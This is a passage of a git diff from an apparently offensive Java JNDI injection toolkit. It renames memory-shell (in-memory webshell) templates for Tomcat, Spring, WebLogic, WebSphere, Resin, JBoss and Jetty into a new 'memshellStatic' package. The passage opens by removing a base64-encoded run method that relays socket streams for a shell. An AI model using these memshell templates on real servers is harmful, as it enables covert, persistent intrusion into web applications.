- - // run 方法,需要 readSocket 方法,需要 Field gInStream,gOutStream - public static String RUN = "cHVibGljIHZvaWQgcnVuKCkgewoJCXRyeSB7CgkJCXJlYWRTb2NrZXQoZ0luU3RyZWFtLCBnT3V0U3RyZWFtKTsKCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCX0KCX0="; - } -} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/BypassNginxCDN/cmsMSBYNC.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/BypassNginxCDN/cmsMSBYNC.java similarity index 98% rename from src/main/java/com/qi4l/jndi/template/memshell/BypassNginxCDN/cmsMSBYNC.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/BypassNginxCDN/cmsMSBYNC.java index 8c7de06..f5ecc40 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/BypassNginxCDN/cmsMSBYNC.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/BypassNginxCDN/cmsMSBYNC.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.BypassNginxCDN; +package com.qi4l.jndi.template.memshellStatic.BypassNginxCDN; import org.apache.tomcat.util.codec.binary.Base64; import org.apache.tomcat.util.security.ConcurrentMessageDigest; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/BypassNginxCDN/proxyMSBYNC.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/BypassNginxCDN/proxyMSBYNC.java similarity index 99% rename from src/main/java/com/qi4l/jndi/template/memshell/BypassNginxCDN/proxyMSBYNC.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/BypassNginxCDN/proxyMSBYNC.java index 1d31b1b..eb482d9 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/BypassNginxCDN/proxyMSBYNC.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/BypassNginxCDN/proxyMSBYNC.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.BypassNginxCDN; +package com.qi4l.jndi.template.memshellStatic.BypassNginxCDN; import org.apache.catalina.connector.RequestFacade; import org.apache.tomcat.util.codec.binary.Base64; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/RMIBindTemplate.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/RMIBindTemplate.java similarity index 96% rename from src/main/java/com/qi4l/jndi/template/memshell/RMIBindTemplate.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/RMIBindTemplate.java index 3cd2b85..a665c91 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/RMIBindTemplate.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/RMIBindTemplate.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell; +package com.qi4l.jndi.template.memshellStatic; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/Tomcat_Spring_Jetty/MsTSJproxy.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/Tomcat_Spring_Jetty/MsTSJproxy.java similarity index 98% rename from src/main/java/com/qi4l/jndi/template/memshell/Tomcat_Spring_Jetty/MsTSJproxy.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/Tomcat_Spring_Jetty/MsTSJproxy.java index bae4daf..f9115d3 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/Tomcat_Spring_Jetty/MsTSJproxy.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/Tomcat_Spring_Jetty/MsTSJproxy.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.Tomcat_Spring_Jetty; +package com.qi4l.jndi.template.memshellStatic.Tomcat_Spring_Jetty; import org.apache.catalina.core.StandardContext; import org.apache.catalina.loader.WebappClassLoaderBase; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/Tomcat_Spring_Jetty/MsTSJser.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/Tomcat_Spring_Jetty/MsTSJser.java similarity index 99% rename from src/main/java/com/qi4l/jndi/template/memshell/Tomcat_Spring_Jetty/MsTSJser.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/Tomcat_Spring_Jetty/MsTSJser.java index 717de78..fa063f8 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/Tomcat_Spring_Jetty/MsTSJser.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/Tomcat_Spring_Jetty/MsTSJser.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.Tomcat_Spring_Jetty; +package com.qi4l.jndi.template.memshellStatic.Tomcat_Spring_Jetty; import org.apache.catalina.core.StandardContext; import org.apache.catalina.loader.WebappClassLoaderBase; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/Websphere/WSFMSFromThread.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/Websphere/WSFMSFromThread.java similarity index 99% rename from src/main/java/com/qi4l/jndi/template/memshell/Websphere/WSFMSFromThread.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/Websphere/WSFMSFromThread.java index 27f25bd..2374592 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/Websphere/WSFMSFromThread.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/Websphere/WSFMSFromThread.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.Websphere; +package com.qi4l.jndi.template.memshellStatic.Websphere; import javax.servlet.*; import java.io.IOException; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/Websphere/WSWebsphereProxy.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/Websphere/WSWebsphereProxy.java similarity index 99% rename from src/main/java/com/qi4l/jndi/template/memshell/Websphere/WSWebsphereProxy.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/Websphere/WSWebsphereProxy.java index 2038cd7..fcf0084 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/Websphere/WSWebsphereProxy.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/Websphere/WSWebsphereProxy.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.Websphere; +package com.qi4l.jndi.template.memshellStatic.Websphere; import com.ibm.websphere.wsoc.WsWsocServerContainer; import weblogic.servlet.internal.HttpConnectionHandler; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/Websphere/WebsphereMemshellTemplate.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/Websphere/WebsphereMemshellTemplate.java similarity index 99% rename from src/main/java/com/qi4l/jndi/template/memshell/Websphere/WebsphereMemshellTemplate.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/Websphere/WebsphereMemshellTemplate.java index c5d1167..997b328 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/Websphere/WebsphereMemshellTemplate.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/Websphere/WebsphereMemshellTemplate.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.Websphere; +package com.qi4l.jndi.template.memshellStatic.Websphere; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/Websphere/websphereEcho.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/Websphere/websphereEcho.java similarity index 96% rename from src/main/java/com/qi4l/jndi/template/memshell/Websphere/websphereEcho.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/Websphere/websphereEcho.java index cc581a1..a862cb0 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/Websphere/websphereEcho.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/Websphere/websphereEcho.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.Websphere; +package com.qi4l.jndi.template.memshellStatic.Websphere; public class websphereEcho { diff --git a/src/main/java/com/qi4l/jndi/template/memshell/jboss/JBFMSFromContextF.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/jboss/JBFMSFromContextF.java similarity index 99% rename from src/main/java/com/qi4l/jndi/template/memshell/jboss/JBFMSFromContextF.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/jboss/JBFMSFromContextF.java index 59e5c16..f644c72 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/jboss/JBFMSFromContextF.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/jboss/JBFMSFromContextF.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.jboss; +package com.qi4l.jndi.template.memshellStatic.jboss; import javax.servlet.*; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/jboss/JBSMSFromContextS.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/jboss/JBSMSFromContextS.java similarity index 98% rename from src/main/java/com/qi4l/jndi/template/memshell/jboss/JBSMSFromContextS.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/jboss/JBSMSFromContextS.java index 4ad9db3..f32c770 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/jboss/JBSMSFromContextS.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/jboss/JBSMSFromContextS.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.jboss; +package com.qi4l.jndi.template.memshellStatic.jboss; import io.undertow.servlet.api.DeploymentInfo; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/jetty/JFMSFromJMXF.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/jetty/JFMSFromJMXF.java similarity index 99% rename from src/main/java/com/qi4l/jndi/template/memshell/jetty/JFMSFromJMXF.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/jetty/JFMSFromJMXF.java index a1402b9..2692991 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/jetty/JFMSFromJMXF.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/jetty/JFMSFromJMXF.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.jetty; +package com.qi4l.jndi.template.memshellStatic.jetty; import com.sun.jmx.mbeanserver.JmxMBeanServer; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/jetty/JSMSFromJMXS.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/jetty/JSMSFromJMXS.java similarity index 99% rename from src/main/java/com/qi4l/jndi/template/memshell/jetty/JSMSFromJMXS.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/jetty/JSMSFromJMXS.java index aed26c7..3a5db8c 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/jetty/JSMSFromJMXS.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/jetty/JSMSFromJMXS.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.jetty; +package com.qi4l.jndi.template.memshellStatic.jetty; import com.sun.jmx.mbeanserver.JmxMBeanServer; import com.sun.jmx.mbeanserver.NamedObject; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/resin/RFMSFromThreadF.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/resin/RFMSFromThreadF.java similarity index 98% rename from src/main/java/com/qi4l/jndi/template/memshell/resin/RFMSFromThreadF.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/resin/RFMSFromThreadF.java index 499696b..26a4ae2 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/resin/RFMSFromThreadF.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/resin/RFMSFromThreadF.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.resin; +package com.qi4l.jndi.template.memshellStatic.resin; import com.caucho.server.dispatch.FilterConfigImpl; import com.caucho.server.dispatch.FilterMapper; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/resin/RSMSFromThreadS.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/resin/RSMSFromThreadS.java similarity index 97% rename from src/main/java/com/qi4l/jndi/template/memshell/resin/RSMSFromThreadS.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/resin/RSMSFromThreadS.java index e2c3cf5..85bc3c8 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/resin/RSMSFromThreadS.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/resin/RSMSFromThreadS.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.resin; +package com.qi4l.jndi.template.memshellStatic.resin; import com.caucho.server.dispatch.ServletConfigImpl; import com.caucho.server.dispatch.ServletManager; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/resin/WsResin.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/resin/WsResin.java similarity index 98% rename from src/main/java/com/qi4l/jndi/template/memshell/resin/WsResin.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/resin/WsResin.java index b6bcaaf..a93017a 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/resin/WsResin.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/resin/WsResin.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.resin; +package com.qi4l.jndi.template.memshellStatic.resin; import com.caucho.websocket.WebSocketContext; import com.caucho.websocket.WebSocketListener; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/spring/SpringControllerMS.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/spring/SpringControllerMS.java similarity index 99% rename from src/main/java/com/qi4l/jndi/template/memshell/spring/SpringControllerMS.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/spring/SpringControllerMS.java index e013a3e..6c76582 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/spring/SpringControllerMS.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/spring/SpringControllerMS.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.spring; +package com.qi4l.jndi.template.memshellStatic.spring; import java.lang.reflect.Constructor; import java.lang.reflect.Field; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/spring/SpringInterceptorMS.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/spring/SpringInterceptorMS.java similarity index 98% rename from src/main/java/com/qi4l/jndi/template/memshell/spring/SpringInterceptorMS.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/spring/SpringInterceptorMS.java index a394dde..f8d3110 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/spring/SpringInterceptorMS.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/spring/SpringInterceptorMS.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.spring; +package com.qi4l.jndi.template.memshellStatic.spring; import org.springframework.beans.BeansException; import org.springframework.web.context.WebApplicationContext; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/spring/SpringWebfluxMS.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/spring/SpringWebfluxMS.java similarity index 99% rename from src/main/java/com/qi4l/jndi/template/memshell/spring/SpringWebfluxMS.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/spring/SpringWebfluxMS.java index 45f3685..7348ffd 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/spring/SpringWebfluxMS.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/spring/SpringWebfluxMS.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.spring; +package com.qi4l.jndi.template.memshellStatic.spring; import org.springframework.core.io.buffer.DefaultDataBuffer; import org.springframework.core.io.buffer.DefaultDataBufferFactory; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/struts2/Struts2ActionMS.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/struts2/Struts2ActionMS.java similarity index 99% rename from src/main/java/com/qi4l/jndi/template/memshell/struts2/Struts2ActionMS.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/struts2/Struts2ActionMS.java index 22deec9..53547f1 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/struts2/Struts2ActionMS.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/struts2/Struts2ActionMS.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.struts2; +package com.qi4l.jndi.template.memshellStatic.struts2; public class Struts2ActionMS { public static String pattern; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TEXMSFromThread.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TEXMSFromThread.java similarity index 98% rename from src/main/java/com/qi4l/jndi/template/memshell/tomcat/TEXMSFromThread.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TEXMSFromThread.java index 5d89c4d..2ef3cb3 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TEXMSFromThread.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TEXMSFromThread.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.tomcat; +package com.qi4l.jndi.template.memshellStatic.tomcat; import org.apache.catalina.core.StandardThreadExecutor; import org.apache.tomcat.util.net.NioEndpoint; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromRequestF.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromRequestF.java similarity index 99% rename from src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromRequestF.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromRequestF.java index e7022cf..fb187c1 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromRequestF.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromRequestF.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.tomcat; +package com.qi4l.jndi.template.memshellStatic.tomcat; import org.apache.catalina.LifecycleState; import org.apache.catalina.core.StandardContext; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromRequestS.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromRequestS.java similarity index 99% rename from src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromRequestS.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromRequestS.java index 4dafe5b..a6ed504 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromRequestS.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromRequestS.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.tomcat; +package com.qi4l.jndi.template.memshellStatic.tomcat; import org.apache.catalina.Wrapper; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadF.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThreadF.java similarity index 98% rename from src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadF.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThreadF.java index b536866..1c2a5f6 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadF.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThreadF.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.tomcat; +package com.qi4l.jndi.template.memshellStatic.tomcat; import org.apache.catalina.Context; import org.apache.catalina.core.ApplicationFilterConfig; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadLi.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThreadLi.java similarity index 97% rename from src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadLi.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThreadLi.java index b166b3a..9a4a389 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadLi.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThreadLi.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.tomcat; +package com.qi4l.jndi.template.memshellStatic.tomcat; import org.apache.catalina.connector.Request; import org.apache.catalina.connector.RequestFacade; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadS.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThreadS.java similarity index 97% rename from src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadS.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThreadS.java index 58b83b9..c53aeb9 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadS.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThreadS.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.tomcat; +package com.qi4l.jndi.template.memshellStatic.tomcat; import org.apache.catalina.Wrapper; import org.apache.catalina.core.ApplicationServletRegistration; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TLMSFromJMXLi.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TLMSFromJMXLi.java similarity index 98% rename from src/main/java/com/qi4l/jndi/template/memshell/tomcat/TLMSFromJMXLi.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TLMSFromJMXLi.java index eedce39..b13ac19 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TLMSFromJMXLi.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TLMSFromJMXLi.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.tomcat; +package com.qi4l.jndi.template.memshellStatic.tomcat; import com.sun.jmx.mbeanserver.NamedObject; import com.sun.jmx.mbeanserver.Repository; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TSMSFromJMXF.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromJMXF.java similarity index 99% rename from src/main/java/com/qi4l/jndi/template/memshell/tomcat/TSMSFromJMXF.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromJMXF.java index 6c48880..5048d2e 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TSMSFromJMXF.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromJMXF.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.tomcat; +package com.qi4l.jndi.template.memshellStatic.tomcat; import com.sun.jmx.mbeanserver.NamedObject; import com.sun.jmx.mbeanserver.Repository; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TSMSFromJMXS.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromJMXS.java similarity index 98% rename from src/main/java/com/qi4l/jndi/template/memshell/tomcat/TSMSFromJMXS.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromJMXS.java index 350c565..9969b86 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TSMSFromJMXS.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromJMXS.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.tomcat; +package com.qi4l.jndi.template.memshellStatic.tomcat; import com.sun.jmx.mbeanserver.NamedObject; import com.sun.jmx.mbeanserver.Repository; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TUGMSFromJMXuP.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TUGMSFromJMXuP.java similarity index 98% rename from src/main/java/com/qi4l/jndi/template/memshell/tomcat/TUGMSFromJMXuP.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TUGMSFromJMXuP.java index 4de2d28..22fd52d 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TUGMSFromJMXuP.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TUGMSFromJMXuP.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.tomcat; +package com.qi4l.jndi.template.memshellStatic.tomcat; import com.sun.jmx.mbeanserver.NamedObject; import com.sun.jmx.mbeanserver.Repository; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TWSMSFromThread.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TWSMSFromThread.java similarity index 97% rename from src/main/java/com/qi4l/jndi/template/memshell/tomcat/TWSMSFromThread.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TWSMSFromThread.java index 0d410c0..8b0408a 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TWSMSFromThread.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TWSMSFromThread.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.tomcat; +package com.qi4l.jndi.template.memshellStatic.tomcat; import org.apache.catalina.core.StandardContext; import org.apache.catalina.loader.WebappClassLoaderBase; diff --git a/src/main/java/com/qi4l/jndi/template/memshell/weblogic/WsWeblogic.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/weblogic/WsWeblogic.java similarity index 98% rename from src/main/java/com/qi4l/jndi/template/memshell/weblogic/WsWeblogic.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/weblogic/WsWeblogic.java index fe56d10..77f8ace 100644 --- a/src/main/java/com/qi4l/jndi/template/memshell/weblogic/WsWeblogic.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/weblogic/WsWeblogic.java @@ -1,4 +1,4 @@ -package com.qi4l.jndi.template.memshell.weblogic; +package com.qi4l.jndi.template.memshellStatic.weblogic; import com.sun.jmx.mbeanserver.NamedObject; import com.sun.jmx.mbeanserver.Repository;